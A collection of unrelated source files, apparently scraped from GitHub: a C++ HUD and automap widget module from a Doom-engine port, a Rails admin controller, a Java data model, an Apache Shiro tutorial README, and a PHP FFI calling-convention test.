{ GUI_BLUEMANAICON, ALIGN_TOPLEFT, UWG_TOPLEFT, GF_NONE, function_cast<UpdateGeometryFunc>(BlueManaIconWidget_UpdateGeometry), function_cast<DrawFunc>(BlueManaIconWidget_Draw), &hud->bluemanaiconId },
{ GUI_BLUEMANA, ALIGN_TOPLEFT, UWG_TOPLEFT, GF_STATUS, function_cast<UpdateGeometryFunc>(BlueMana_UpdateGeometry), function_cast<DrawFunc>(BlueManaWidget_Draw), &hud->bluemanaId },
{ GUI_GREENMANAICON, ALIGN_TOPLEFT, UWG_TOPLEFT2, GF_NONE, function_cast<UpdateGeometryFunc>(GreenManaIconWidget_UpdateGeometry), function_cast<DrawFunc>(GreenManaIconWidget_Draw), &hud->greenmanaiconId },
{ GUI_GREENMANA, ALIGN_TOPLEFT, UWG_TOPLEFT2, GF_STATUS, function_cast<UpdateGeometryFunc>(GreenManaWidget_UpdateGeometry), function_cast<DrawFunc>(GreenManaWidget_Draw), &hud->greenmanaId },
{ GUI_FLIGHT, ALIGN_TOPLEFT, UWG_TOPLEFT3, GF_NONE, nullptr, nullptr, &hud->flightId },
{ GUI_BOOTS, ALIGN_TOPLEFT, UWG_TOPLEFT3, GF_NONE, nullptr, nullptr, &hud->bootsId },
{ GUI_SERVANT, ALIGN_TOPRIGHT, UWG_TOPRIGHT, GF_NONE, nullptr, nullptr, &hud->servantId },
{ GUI_DEFENSE, ALIGN_TOPRIGHT, UWG_TOPRIGHT, GF_NONE, nullptr, nullptr, &hud->defenseId },
{ GUI_WORLDTIME, ALIGN_TOPRIGHT, UWG_TOPRIGHT, GF_FONTA, nullptr, nullptr, &hud->worldtimeId },
{ GUI_HEALTH, ALIGN_BOTTOMLEFT, UWG_BOTTOMLEFT, GF_FONTB, function_cast<UpdateGeometryFunc>(HealthWidget_UpdateGeometry), function_cast<DrawFunc>(HealthWidget_Draw), &hud->healthId },
{ GUI_FRAGS, ALIGN_BOTTOMLEFT, UWG_BOTTOMLEFT, GF_STATUS, function_cast<UpdateGeometryFunc>(FragsWidget_UpdateGeometry), function_cast<DrawFunc>(FragsWidget_Draw), &hud->fragsId },
{ GUI_READYITEM, ALIGN_BOTTOMRIGHT, UWG_BOTTOMRIGHT, GF_SMALLIN, function_cast<UpdateGeometryFunc>(ReadyItem_UpdateGeometry), function_cast<DrawFunc>(ReadyItem_Drawer), &hud->readyitemId },
{ GUI_INVENTORY, ALIGN_TOPLEFT, UWG_BOTTOMCENTER, GF_SMALLIN, function_cast<UpdateGeometryFunc>(Inventory_UpdateGeometry), function_cast<DrawFunc>(Inventory_Drawer) },
};
if(localPlayer < 0 || localPlayer >= MAXPLAYERS)
{
Con_Error("ST_BuildWidgets: Invalid localPlayer #%i.", localPlayer);
exit(1); // Unreachable.
}
for(uiwidgetgroupdef_t const &def : widgetGroupDefs)
{
HudWidget *grp = makeGroupWidget(def.groupFlags, localPlayer, def.alignFlags, def.order, def.padding);
GUI_AddWidget(grp);
hud->groupIds[def.group] = grp->id();
}
for(uiwidgetdef_t const &def : widgetDefs)
{
HudWidget *wi = nullptr;
switch(def.type)
{
case GUI_BOX: wi = new HudWidget(def.updateGeometry, def.drawer, localPlayer); break;
case GUI_HEALTH: wi = new guidata_health_t(def.updateGeometry, def.drawer, localPlayer); break;
case GUI_ARMOR: wi = new guidata_armor_t(def.updateGeometry, def.drawer, localPlayer); break;
case GUI_KEYS: wi = new guidata_keys_t(localPlayer); break;
case GUI_READYAMMO: wi = new guidata_readyammo_t(def.updateGeometry, def.drawer, localPlayer); break;
case GUI_FRAGS: wi = new guidata_frags_t(def.updateGeometry, def.drawer, localPlayer); break;
case GUI_ARMORICONS: wi = new guidata_armoricons_t(localPlayer); break;
case GUI_WEAPONPIECES: wi = new guidata_weaponpieces_t(localPlayer); break;
case GUI_BLUEMANAICON: wi = new guidata_bluemanaicon_t(def.updateGeometry, def.drawer, localPlayer); break;
case GUI_BLUEMANA: wi = new guidata_bluemana_t(def.updateGeometry, def.drawer, localPlayer); break;
case GUI_BLUEMANAVIAL: wi = new guidata_bluemanavial_t(localPlayer); break;
case GUI_GREENMANAICON: wi = new guidata_greenmanaicon_t(def.updateGeometry, def.drawer, localPlayer); break;
case GUI_GREENMANA: wi = new guidata_greenmana_t(def.updateGeometry, def.drawer, localPlayer); break;
case GUI_GREENMANAVIAL: wi = new guidata_greenmanavial_t(localPlayer); break;
case GUI_BOOTS: wi = new guidata_boots_t(localPlayer); break;
case GUI_SERVANT: wi = new guidata_servant_t(localPlayer); break;
case GUI_DEFENSE: wi = new guidata_defense_t(localPlayer); break;
case GUI_WORLDTIME: wi = new guidata_worldtime_t(localPlayer); break;
case GUI_INVENTORY: wi = new HudWidget(def.updateGeometry, def.drawer, localPlayer); break;
case GUI_CHAIN: wi = new guidata_chain_t(localPlayer); break;
case GUI_READYITEM: wi = new guidata_readyitem_t(def.updateGeometry, def.drawer, localPlayer); break;
case GUI_FLIGHT: wi = new guidata_flight_t(localPlayer); break;
//case GUI_AUTOMAP: wi = new AutomapWidget(def.updateGeometry, def.drawer, localPlayer); break;
default: DENG2_ASSERT(!"Unknown widget type"); break;
}
wi->setAlignment(def.alignFlags)
.setFont(FID(def.fontIdx));
GUI_AddWidget(wi);
GUI_FindWidgetById(hud->groupIds[def.group]).as<GroupWidget>()
.addChild(wi);
if(def.id) *def.id = wi->id();
}
GUI_FindWidgetById(hud->groupIds[UWG_BOTTOM]).as<GroupWidget>()
.addChild(&GUI_FindWidgetById(hud->groupIds[UWG_BOTTOMLEFT]));
GUI_FindWidgetById(hud->groupIds[UWG_BOTTOM]).as<GroupWidget>()
.addChild(&GUI_FindWidgetById(hud->groupIds[UWG_BOTTOMCENTER]));
GUI_FindWidgetById(hud->groupIds[UWG_BOTTOM]).as<GroupWidget>()
.addChild(&GUI_FindWidgetById(hud->groupIds[UWG_BOTTOMRIGHT]));
GUI_FindWidgetById(hud->groupIds[UWG_TOP]).as<GroupWidget>()
.addChild(&GUI_FindWidgetById(hud->groupIds[UWG_TOPCENTER]));
GUI_FindWidgetById(hud->groupIds[UWG_TOP]).as<GroupWidget>()
.addChild(&GUI_FindWidgetById(hud->groupIds[UWG_TOPRIGHT]));
auto *log = new PlayerLogWidget(localPlayer);
log->setFont(FID(GF_FONTA));
GUI_AddWidget(log);
hud->logId = log->id();
GUI_FindWidgetById(hud->groupIds[UWG_TOPCENTER]).as<GroupWidget>()
.addChild(log);
auto *chat = new ChatWidget(localPlayer);
chat->setFont(FID(GF_FONTA));
GUI_AddWidget(chat);
hud->chatId = chat->id();
GUI_FindWidgetById(hud->groupIds[UWG_TOPCENTER]).as<GroupWidget>()
.addChild(chat);
auto *automap = new AutomapWidget(localPlayer);
automap->setFont(FID(GF_FONTA));
automap->setCameraFollowPlayer(localPlayer);
/// Set initial geometry size.
/// @todo Should not be necessary...
Rect_SetWidthHeight(&automap->geometry(), SCREENWIDTH, SCREENHEIGHT);
GUI_AddWidget(automap);
hud->automapId = automap->id();
GUI_FindWidgetById(hud->groupIds[UWG_AUTOMAP]).as<GroupWidget>()
.addChild(automap);
#undef PADDING
}
void ST_Init()
{
ST_InitAutomapStyle();
for(int i = 0; i < MAXPLAYERS; ++i)
{
hudstate_t *hud = &hudStates[i];
ST_BuildWidgets(i);
hud->inited = true;
}
ST_loadData();
}
void ST_Shutdown()
{
for(int i = 0; i < MAXPLAYERS; ++i)
{
hudstate_t *hud = &hudStates[i];
hud->inited = false;
}
}
void HU_WakeWidgets(int localPlayer)
{
if(localPlayer < 0)
{
// Wake the widgets of all players.
for(uint i = 0; i < MAXPLAYERS; ++i)
{
if(!players[i].plr->inGame) continue;
HU_WakeWidgets(i);
}
return;
}
if(localPlayer < MAXPLAYERS)
{
if(!players[localPlayer].plr->inGame) return;
ST_Start(localPlayer);
}
}
void ST_CloseAll(int localPlayer, dd_bool fast)
{
NetSv_DismissHUDs(localPlayer, fast);
ST_AutomapOpen(localPlayer, false, fast);
Hu_InventoryOpen(localPlayer, false);
}
/// @note May be called prior to HUD init / outside game session.
AutomapWidget *ST_TryFindAutomapWidget(int localPlayer)
{
if(localPlayer < 0 || localPlayer >= MAXPLAYERS) return nullptr;
hudstate_t *hud = &hudStates[localPlayer];
if(auto *wi = GUI_TryFindWidgetById(hud->automapId))
{
return maybeAs<AutomapWidget>(wi);
}
return nullptr;
}
/// @note May be called prior to HUD init / outside game session.
ChatWidget *ST_TryFindChatWidget(int localPlayer)
{
if(localPlayer < 0 || localPlayer >= MAXPLAYERS) return nullptr;
hudstate_t *hud = &hudStates[localPlayer];
if(auto *wi = GUI_TryFindWidgetById(hud->chatId))
{
return maybeAs<ChatWidget>(wi);
}
return nullptr;
}
/// @note May be called prior to HUD init / outside game session.
PlayerLogWidget *ST_TryFindPlayerLogWidget(int localPlayer)
{
if(localPlayer < 0 || localPlayer >= MAXPLAYERS) return nullptr;
hudstate_t *hud = &hudStates[localPlayer];
if(auto *wi = GUI_TryFindWidgetById(hud->logId))
{
return maybeAs<PlayerLogWidget>(wi);
}
return nullptr;
}
dd_bool ST_ChatIsActive(int localPlayer)
{
if(auto *chat = ST_TryFindChatWidget(localPlayer))
{
return chat->isActive();
}
return false;
}
void ST_LogPost(int localPlayer, byte flags, char const *msg)
{
if(auto *log = ST_TryFindPlayerLogWidget(localPlayer))
{
log->post(flags, msg);
}
}
void ST_LogRefresh(int localPlayer)
{
if(auto *log = ST_TryFindPlayerLogWidget(localPlayer))
{
log->refresh();
}
}
void ST_LogEmpty(int localPlayer)
{
if(auto *log = ST_TryFindPlayerLogWidget(localPlayer))
{
log->clear();
}
}
void ST_LogUpdateAlignment()
{
for(int i = 0; i < MAXPLAYERS; ++i)
{
hudstate_t *hud = &hudStates[i];
if(!hud->inited) continue;
HudWidget &tcGroup = GUI_FindWidgetById(hud->groupIds[UWG_TOPCENTER]);
int flags = tcGroup.alignment();
flags &= ~(ALIGN_LEFT|ALIGN_RIGHT);
if(cfg.common.msgAlign == 0)
flags |= ALIGN_LEFT;
else if(cfg.common.msgAlign == 2)
flags |= ALIGN_RIGHT;
tcGroup.setAlignment(flags);
}
}
void ST_AutomapOpen(int localPlayer, dd_bool yes, dd_bool instantly)
{
if(auto *automap = ST_TryFindAutomapWidget(localPlayer))
{
automap->open(CPP_BOOL(yes), CPP_BOOL(instantly));
}
}
dd_bool ST_AutomapIsOpen(int localPlayer)
{
if(auto *automap = ST_TryFindAutomapWidget(localPlayer))
{
return automap->isOpen();
}
return false;
}
dd_bool ST_AutomapObscures2(int localPlayer, RectRaw const * /*region*/)
{
AutomapWidget *automap = ST_TryFindAutomapWidget(localPlayer);
if(!automap) return false;
if(automap->isOpen())
{
if(cfg.common.automapOpacity * ST_AutomapOpacity(localPlayer) >= ST_AUTOMAP_OBSCURE_TOLERANCE)
{
/*if(AutomapWidget_Fullscreen(wi))
{*/
return true;
/*}
else
{
// We'll have to compare the dimensions.
int const scrwidth = Get(DD_WINDOW_WIDTH);
int const scrheight = Get(DD_WINDOW_HEIGHT);
Rect const *rect = UIWidget_Geometry(automap);
float fx = FIXXTOSCREENX(region->origin.x);
float fy = FIXYTOSCREENY(region->origin.y);
float fw = FIXXTOSCREENX(region->size.width);
float fh = FIXYTOSCREENY(region->size.height);
if(dims->origin.x >= fx && dims->origin.y >= fy && dims->size.width >= fw && dims->size.height >= fh)
return true;
}*/
}
}
return false;
}
dd_bool ST_AutomapObscures(int localPlayer, int x, int y, int width, int height)
{
RectRaw rect;
rect.origin.x = x;
rect.origin.y = y;
rect.size.width = width;
rect.size.height = height;
return ST_AutomapObscures2(localPlayer, &rect);
}
void ST_AutomapClearPoints(int localPlayer)
{
if(auto *automap = ST_TryFindAutomapWidget(localPlayer))
{
automap->clearAllPoints();
}
}
int ST_AutomapAddPoint(int localPlayer, coord_t x, coord_t y, coord_t z)
{
if(auto *automap = ST_TryFindAutomapWidget(localPlayer))
{
return automap->addPoint(Vector3d(x, y, z));
}
return -1;
}
void ST_AutomapZoomMode(int localPlayer)
{
if(auto *automap = ST_TryFindAutomapWidget(localPlayer))
{
automap->setCameraZoomMode(!automap->cameraZoomMode());
}
}
float ST_AutomapOpacity(int localPlayer)
{
if(auto *automap = ST_TryFindAutomapWidget(localPlayer))
{
return automap->opacityEX();
}
return 0;
}
void ST_SetAutomapCameraRotation(int localPlayer, dd_bool yes)
{
if(auto *autmap = ST_TryFindAutomapWidget(localPlayer))
{
autmap->setCameraRotationMode(CPP_BOOL(yes));
}
}
void ST_AutomapFollowMode(int localPlayer)
{
if(auto *automap = ST_TryFindAutomapWidget(localPlayer))
{
automap->setCameraFollowMode(!automap->cameraFollowMode());
}
}
void ST_CycleAutomapCheatLevel(int localPlayer)
{
if(localPlayer >= 0 && localPlayer < MAXPLAYERS)
{
hudstate_t *hud = &hudStates[localPlayer];
ST_SetAutomapCheatLevel(localPlayer, (hud->automapCheatLevel + 1) % 3);
}
}
void ST_SetAutomapCheatLevel(int localPlayer, int level)
{
if(auto *automap = ST_TryFindAutomapWidget(localPlayer))
{
setAutomapCheatLevel(*automap, level);
}
}
void ST_RevealAutomap(int localPlayer, dd_bool on)
{
if(auto *automap = ST_TryFindAutomapWidget(localPlayer))
{
automap->reveal(on);
}
}
dd_bool ST_AutomapIsRevealed(int localPlayer)
{
if(auto *automap = ST_TryFindAutomapWidget(localPlayer))
{
return automap->isRevealed();
}
return false;
}
int ST_AutomapCheatLevel(int localPlayer)
{
if(localPlayer >= 0 && localPlayer < MAXPLAYERS)
{
return hudStates[localPlayer].automapCheatLevel;
}
return 0;
}
void ST_FlashCurrentItem(int localPlayer)
{
if(localPlayer < 0 || localPlayer >= MAXPLAYERS) return;
player_t *plr = &players[localPlayer];
if(!(/*(plr->plr->flags & DDPF_LOCAL) &&*/ plr->plr->inGame)) return;
hudstate_t *hud = &hudStates[localPlayer];
hud->readyItemFlashCounter = HUD_ITEM_FLASH_TICS;
}
int ST_ReadyItemFlashCounter(int localPlayer)
{
if(localPlayer < 0 || localPlayer >= MAXPLAYERS) return 0;
hudstate_t const *hud = &hudStates[localPlayer];
return hud->readyItemFlashCounter;
}
int ST_Responder(event_t *ev)
{
for(int i = 0; i < MAXPLAYERS; ++i)
{
if(auto *chat = ST_TryFindChatWidget(i))
{
if(int eaten = chat->handleEvent(*ev))
return eaten;
}
}
return false;
}
void ST_Ticker(timespan_t ticLength)
{
dd_bool const isSharpTic = DD_IsSharpTick();
if(isSharpTic)
Hu_InventoryTicker();
for(int i = 0; i < MAXPLAYERS; ++i)
{
player_t *plr = &players[i];
hudstate_t *hud = &hudStates[i];
if(!plr->plr->inGame)
continue;
// Either slide the statusbar in or fade out the fullscreen HUD.
if(hud->statusbarActive)
{
if(hud->alpha > 0.0f)
{
hud->alpha -= 0.1f;
}
else if(hud->showBar < 1.0f)
{
hud->showBar += 0.1f;
}
}
else
{
if(cfg.common.screenBlocks == 13)
{
if(hud->alpha > 0.0f)
{
hud->alpha -= 0.1f;
}
}
else
{
if(hud->showBar > 0.0f)
{
hud->showBar -= 0.1f;
}
else if(hud->alpha < 1.0f)
{
hud->alpha += 0.1f;
}
}
}
// The following is restricted to fixed 35 Hz ticks.
if(isSharpTic && !Pause_IsPaused())
{
if(cfg.common.hudTimer == 0)
{
hud->hideTics = hud->hideAmount = 0;
}
else
{
if(hud->hideTics > 0)
hud->hideTics--;
if(hud->hideTics == 0 && cfg.common.hudTimer > 0 && hud->hideAmount < 1)
hud->hideAmount += 0.1f;
}
if(hud->readyItemFlashCounter > 0)
--hud->readyItemFlashCounter;
}
if(hud->inited)
{
for(int k = 0; k < NUM_UIWIDGET_GROUPS; ++k)
{
GUI_FindWidgetById(hud->groupIds[k]).tick(ticLength);
}
}
}
}
static void drawUIWidgetsForPlayer(player_t *plr)
{
DENG2_ASSERT(plr);
/// Units in fixed 320x200 screen space.
#define DISPLAY_BORDER (2)
#define PADDING (2)
int const playerNum = plr - players;
int const displayMode = ST_ActiveHud(playerNum);
hudstate_t *hud = &hudStates[playerNum];
Size2Raw portSize; R_ViewPortSize(playerNum, &portSize);
Point2Raw portOrigin; R_ViewPortOrigin(playerNum, &portOrigin);
// The automap is drawn in a viewport scaled coordinate space (of viewwindow dimensions).
HudWidget &amGroup = GUI_FindWidgetById(hud->groupIds[UWG_AUTOMAP]);
amGroup.setOpacity(ST_AutomapOpacity(playerNum));
amGroup.setMaximumSize(portSize);
GUI_DrawWidgetXY(&amGroup, 0, 0);
// The rest of the UI is drawn in a fixed 320x200 coordinate space.
// Determine scale factors.
float scale;
R_ChooseAlignModeAndScaleFactor(&scale, SCREENWIDTH, SCREENHEIGHT,
portSize.width, portSize.height, SCALEMODE_SMART_STRETCH);
DGL_MatrixMode(DGL_MODELVIEW);
DGL_PushMatrix();
DGL_Translatef(portOrigin.x, portOrigin.y, 0);
DGL_Scalef(scale, scale, 1);
if(hud->statusbarActive || (displayMode < 3 || hud->alpha > 0))
{
float opacity = /**@todo Kludge: clamp*/MIN_OF(1.0f, hud->alpha)/**kludge end*/ * (1-hud->hideAmount);
Size2Raw drawnSize = { 0, 0 };
RectRaw displayRegion;
int posX, posY, availWidth, availHeight;
DGL_MatrixMode(DGL_MODELVIEW);
DGL_Scalef(1, 1.2f/*aspect correct*/, 1);
displayRegion.origin.x = displayRegion.origin.y = 0;
displayRegion.size.width = .5f + portSize.width / scale;
displayRegion.size.height = .5f + portSize.height / (scale * 1.2f /*aspect correct*/);
if(hud->statusbarActive)
{
float const statusbarOpacity = (1 - hud->hideAmount) * hud->showBar;
HudWidget &sbGroup = GUI_FindWidgetById(hud->groupIds[UWG_STATUSBAR]);
sbGroup.setOpacity(statusbarOpacity);
sbGroup.setMaximumSize(displayRegion.size);
GUI_DrawWidget(&sbGroup, &displayRegion.origin);
Size2_Raw(Rect_Size(&sbGroup.geometry()), &drawnSize);
}
displayRegion.origin.x += DISPLAY_BORDER;
displayRegion.origin.y += DISPLAY_BORDER;
displayRegion.size.width -= DISPLAY_BORDER*2;
displayRegion.size.height -= DISPLAY_BORDER*2;
if(!hud->statusbarActive)
{
HudWidget &bGroup = GUI_FindWidgetById(hud->groupIds[UWG_BOTTOM]);
bGroup.setOpacity(opacity);
bGroup.setMaximumSize(displayRegion.size);
GUI_DrawWidget(&bGroup, &displayRegion.origin);
Size2_Raw(Rect_Size(&bGroup.geometry()), &drawnSize);
}
availHeight = displayRegion.size.height - (drawnSize.height > 0 ? drawnSize.height : 0);
HudWidget &mnGroup = GUI_FindWidgetById(hud->groupIds[UWG_MAPNAME]);
mnGroup.setOpacity(ST_AutomapOpacity(playerNum));
Size2Raw size = {{{displayRegion.size.width, availHeight}}};
mnGroup.setMaximumSize(size);
GUI_DrawWidget(&mnGroup, &displayRegion.origin);
// The other displays are always visible except when using the "no-hud" mode.
if(hud->statusbarActive || displayMode < 3)
opacity = 1.0f;
HudWidget &tGroup = GUI_FindWidgetById(hud->groupIds[UWG_TOP]);
tGroup.setOpacity(opacity);
tGroup.setMaximumSize(displayRegion.size);
GUI_DrawWidget(&tGroup, &displayRegion.origin);
Size2_Raw(Rect_Size(&tGroup.geometry()), &drawnSize);
if(!hud->statusbarActive)
{
Size2Raw tlDrawnSize;
HudWidget &tlGroup = GUI_FindWidgetById(hud->groupIds[UWG_TOPLEFT]);
tlGroup.setOpacity(opacity);
tlGroup.setMaximumSize(displayRegion.size);
GUI_DrawWidget(&tlGroup, &displayRegion.origin);
Size2_Raw(Rect_Size(&tlGroup.geometry()), &drawnSize);
posY = displayRegion.origin.y + (drawnSize.height > 0 ? drawnSize.height + PADDING : 0);
HudWidget &tl2Group = GUI_FindWidgetById(hud->groupIds[UWG_TOPLEFT2]);
tl2Group.setOpacity(opacity);
tl2Group.setMaximumSize(displayRegion.size);
GUI_DrawWidgetXY(&tl2Group, displayRegion.origin.x, posY);
Size2_Raw(Rect_Size(&tl2Group.geometry()), &tlDrawnSize);
if(tlDrawnSize.width > drawnSize.width)
drawnSize.width = tlDrawnSize.width;
}
else
{
drawnSize.width = 0;
}
posX = displayRegion.origin.x + (drawnSize.width > 0 ? drawnSize.width + PADDING : 0);
availWidth = displayRegion.size.width - (drawnSize.width > 0 ? drawnSize.width + PADDING : 0);
HudWidget &tl3Group = GUI_FindWidgetById(hud->groupIds[UWG_TOPLEFT3]);
tl3Group.setOpacity(opacity);
size.width = availWidth; size.height = displayRegion.size.height;
tl3Group.setMaximumSize(size);
GUI_DrawWidgetXY(&tl3Group, posX, displayRegion.origin.y);
}
DGL_MatrixMode(DGL_MODELVIEW);
DGL_PopMatrix();
#undef PADDING
#undef DISPLAY_BORDER
}
void ST_Drawer(int localPlayer)
{
if(localPlayer < 0 || localPlayer >= MAXPLAYERS)
return;
if(!players[localPlayer].plr->inGame) return;
R_UpdateViewFilter(localPlayer);
hudstate_t *hud = &hudStates[localPlayer];
hud->statusbarActive = (ST_ActiveHud(localPlayer) < 2) || (ST_AutomapIsOpen(localPlayer) && (cfg.common.automapHudDisplay == 0 || cfg.common.automapHudDisplay == 2));
drawUIWidgetsForPlayer(&players[localPlayer]);
}
dd_bool ST_StatusBarIsActive(int localPlayer)
{
DENG_ASSERT(localPlayer >= 0 && localPlayer < MAXPLAYERS);
if(!players[localPlayer].plr->inGame) return false;
return hudStates[localPlayer].statusbarActive;
}
float ST_StatusBarShown(int localPlayer)
{
DENG2_ASSERT(localPlayer >= 0 && localPlayer < MAXPLAYERS);
return hudStates[localPlayer].showBar;
}
/**
* Called when the statusbar scale cvar changes.
*/
static void updateViewWindow()
{
R_ResizeViewWindow(RWF_FORCE);
for(int i = 0; i < MAXPLAYERS; ++i)
{
ST_HUDUnHide(i, HUE_FORCE); // So the user can see the change.
}
}
/**
* Called when a cvar changes that affects the look/behavior of the HUD in order to unhide it.
*/
static void unhideHUD()
{
for(int i = 0; i < MAXPLAYERS; ++i)
{
ST_HUDUnHide(i, HUE_FORCE);
}
}
/**
* @return Parsed chat macro identifier or @c -1 if invalid.
*/
static int parseMacroId(String const &str) // static
{
if(!str.isEmpty())
{
bool isNumber = false;
int const id = str.toInt(&isNumber);
if(isNumber && id >= 0 && id <= 9)
{
return id;
}
}
return -1;
}
/**
* @return Parsed chat destination number from or @c -1 if invalid.
*/
static int parseTeamNumber(String const &str)
{
if(!str.isEmpty())
{
bool isNumber = false;
int const num = str.toInt(&isNumber);
if(isNumber && num >= 0 && num <= NUMTEAMS)
{
return num;
}
}
return -1;
}
D_CMD(ChatOpen)
{
DENG2_UNUSED(src);
if(G_QuitInProgress()) return false;
ChatWidget *chat = ST_TryFindChatWidget(CONSOLEPLAYER);
if(!chat) return false;
int destination = 0;
if(argc == 2)
{
destination = parseTeamNumber(argv[1]);
if(destination < 0)
{
LOG_SCR_ERROR("Invalid team number #%i (valid range: 0..%i)") << destination << NUMTEAMS;
return false;
}
}
chat->setDestination(destination);
chat->activate();
return true;
}
D_CMD(ChatAction)
{
DENG2_UNUSED2(src, argc);
if(G_QuitInProgress()) return false;
ChatWidget *chat = ST_TryFindChatWidget(CONSOLEPLAYER);
if(!chat || !chat->isActive()) return false;
auto const cmd = String(argv[0] + 4);
if(!cmd.compareWithoutCase("complete")) // Send the message.
{
return chat->handleMenuCommand(MCMD_SELECT);
}
if(!cmd.compareWithoutCase("cancel")) // Close chat.
{
return chat->handleMenuCommand(MCMD_CLOSE);
}
if(!cmd.compareWithoutCase("delete"))
{
return chat->handleMenuCommand(MCMD_DELETE);
}
return true;
}
D_CMD(ChatSendMacro)
{
DENG2_UNUSED(src);
if(G_QuitInProgress()) return false;
if(argc < 2 || argc > 3)
{
LOG_SCR_NOTE("Usage: %s (team) (macro number)") << argv[0];
LOG_SCR_MSG("Send a chat macro to other player(s). "
"If (team) is omitted, the message will be sent to all players.");
return true;
}
ChatWidget *chat = ST_TryFindChatWidget(CONSOLEPLAYER);
if(!chat) return false;
int destination = 0;
if(argc == 3)
{
destination = parseTeamNumber(argv[1]);
if(destination < 0)
{
LOG_SCR_ERROR("Invalid team number #%i (valid range: 0..%i)") << destination << NUMTEAMS;
return false;
}
}
int macroId = parseMacroId(argc == 3? argv[2] : argv[1]);
if(macroId < 0)
{
LOG_SCR_ERROR("Invalid macro id");
return false;
}
chat->activate();
chat->setDestination(destination);
chat->messageAppendMacro(macroId);
chat->handleMenuCommand(MCMD_SELECT);
chat->activate(false);
return true;
}
void ST_Register()
{
C_VAR_FLOAT2( "hud-color-r", &cfg.common.hudColor[0], 0, 0, 1, unhideHUD )
C_VAR_FLOAT2( "hud-color-g", &cfg.common.hudColor[1], 0, 0, 1, unhideHUD )
C_VAR_FLOAT2( "hud-color-b", &cfg.common.hudColor[2], 0, 0, 1, unhideHUD )
C_VAR_FLOAT2( "hud-color-a", &cfg.common.hudColor[3], 0, 0, 1, unhideHUD )
C_VAR_FLOAT2( "hud-icon-alpha", &cfg.common.hudIconAlpha, 0, 0, 1, unhideHUD )
C_VAR_INT ( "hud-patch-replacement", &cfg.common.hudPatchReplaceMode, 0, 0, 1 )
C_VAR_FLOAT2( "hud-scale", &cfg.common.hudScale, 0, 0.1f, 1, unhideHUD )
C_VAR_FLOAT ( "hud-timer", &cfg.common.hudTimer, 0, 0, 60 )
// Displays:
C_VAR_BYTE2 ( "hud-currentitem", &cfg.hudShown[HUD_READYITEM], 0, 0, 1, unhideHUD )
C_VAR_BYTE2 ( "hud-health", &cfg.hudShown[HUD_HEALTH], 0, 0, 1, unhideHUD )
C_VAR_BYTE2 ( "hud-mana", &cfg.hudShown[HUD_MANA], 0, 0, 1, unhideHUD )
C_VAR_FLOAT2( "hud-status-alpha", &cfg.common.statusbarOpacity, 0, 0, 1, unhideHUD )
C_VAR_FLOAT2( "hud-status-icon-a", &cfg.common.statusbarCounterAlpha, 0, 0, 1, unhideHUD )
C_VAR_FLOAT2( "hud-status-size", &cfg.common.statusbarScale, 0, 0.1f, 1, updateViewWindow )
// Events:
C_VAR_BYTE ( "hud-unhide-damage", &cfg.hudUnHide[HUE_ON_DAMAGE], 0, 0, 1 )
C_VAR_BYTE ( "hud-unhide-pickup-ammo", &cfg.hudUnHide[HUE_ON_PICKUP_AMMO], 0, 0, 1 )
C_VAR_BYTE ( "hud-unhide-pickup-armor", &cfg.hudUnHide[HUE_ON_PICKUP_ARMOR], 0, 0, 1 )
C_VAR_BYTE ( "hud-unhide-pickup-health", &cfg.hudUnHide[HUE_ON_PICKUP_HEALTH], 0, 0, 1 )
C_VAR_BYTE ( "hud-unhide-pickup-invitem", &cfg.hudUnHide[HUE_ON_PICKUP_INVITEM], 0, 0, 1 )
C_VAR_BYTE ( "hud-unhide-pickup-key", &cfg.hudUnHide[HUE_ON_PICKUP_KEY], 0, 0, 1 )
C_VAR_BYTE ( "hud-unhide-pickup-powerup", &cfg.hudUnHide[HUE_ON_PICKUP_POWER], 0, 0, 1 )
C_VAR_BYTE ( "hud-unhide-pickup-weapon", &cfg.hudUnHide[HUE_ON_PICKUP_WEAPON], 0, 0, 1 )
C_CMD("beginchat", nullptr, ChatOpen )
C_CMD("chatcancel", "", ChatAction )
C_CMD("chatcomplete", "", ChatAction )
C_CMD("chatdelete", "", ChatAction )
C_CMD("chatsendmacro", nullptr, ChatSendMacro )
Hu_InventoryRegister();
}
| {
"pile_set_name": "Github"
} |
class Admin::CongressMessageCampaignsController < Admin::ApplicationController
before_action :set_congress_message_campaign
allow_collaborators_to :congress_tabulation, :staffer_report
def congress_tabulation
end
def staffer_report
@bioguide_id = params[:bioguide_id]
render "admin/congress_message_campaigns/staffer_report", layout: "admin-blank"
end
private
def set_congress_message_campaign
@congress_message_campaign = CongressMessageCampaign.find(params[:id])
end
end
| {
"pile_set_name": "Github"
} |
package com.gameloft9.demo.dataaccess.model.system;
import com.fasterxml.jackson.annotation.JsonFormat;
import lombok.Data;
import java.io.Serializable;
import java.util.Date;
@Data
public class SysMenuTest implements Serializable{
private String id;
private String title;
private String href;
private String requestUrl;
private String code;
private String icon;
private String target;
private String parentId;
private int sort;
private String createUser;
@JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss")
private Date createTime;
private String updateUser;
@JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss")
private Date updateTime;
} | {
"pile_set_name": "Github"
} |
apache-shiro-webapp-tutorial
============================
A [step-by-step tutorial](http://shiro.apache.org/webapp-tutorial.html) showing how to secure a web app with Apache Shiro.
| {
"pile_set_name": "Github"
} |
--TEST--
Different calling conventions
--SKIPIF--
<?php
require_once('skipif.inc');
if (substr(PHP_OS, 0, 3) != 'WIN') die('skip for Windows only');
if (PHP_INT_SIZE != 4) die("skip this test is for 32bit platforms only");
?>
--FILE--
<?php
$header = <<<HEADER
void __cdecl cdecl_func(int arg1, double arg2, char arg3);
void __stdcall stdcall_func(int arg1, double arg2, char arg3);
void __fastcall fastcall_func(int arg1, double arg2, char arg3);
HEADER;
$headername = __DIR__ . '/callconv.h';
$dllname = __DIR__ . "/callconv_x86.dll";
$ffi1 = FFI::cdef($header, $dllname);
$ffi1->cdecl_func(1, 2.3, 'a');
$ffi1->stdcall_func(4, 5.6, 'b');
$ffi1->fastcall_func(7, 8.9, 'c');
file_put_contents($headername, "#define FFI_LIB \"$dllname\"\n$header");
$ffi2 = FFI::load($headername);
$ffi2->cdecl_func(2, 3.4, 'a');
$ffi2->stdcall_func(5, 6.7, 'b');
$ffi2->fastcall_func(8, 9.1, 'c');
?>
--EXPECT--
cdecl: 1, 2.300000, a
stdcall: 4, 5.600000, b
fastcall: 7, 8.900000, c
cdecl: 2, 3.400000, a
stdcall: 5, 6.700000, b
fastcall: 8, 9.100000, c
--CLEAN--
<?php
unlink(__DIR__ . '/callconv.h');
?>
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python2
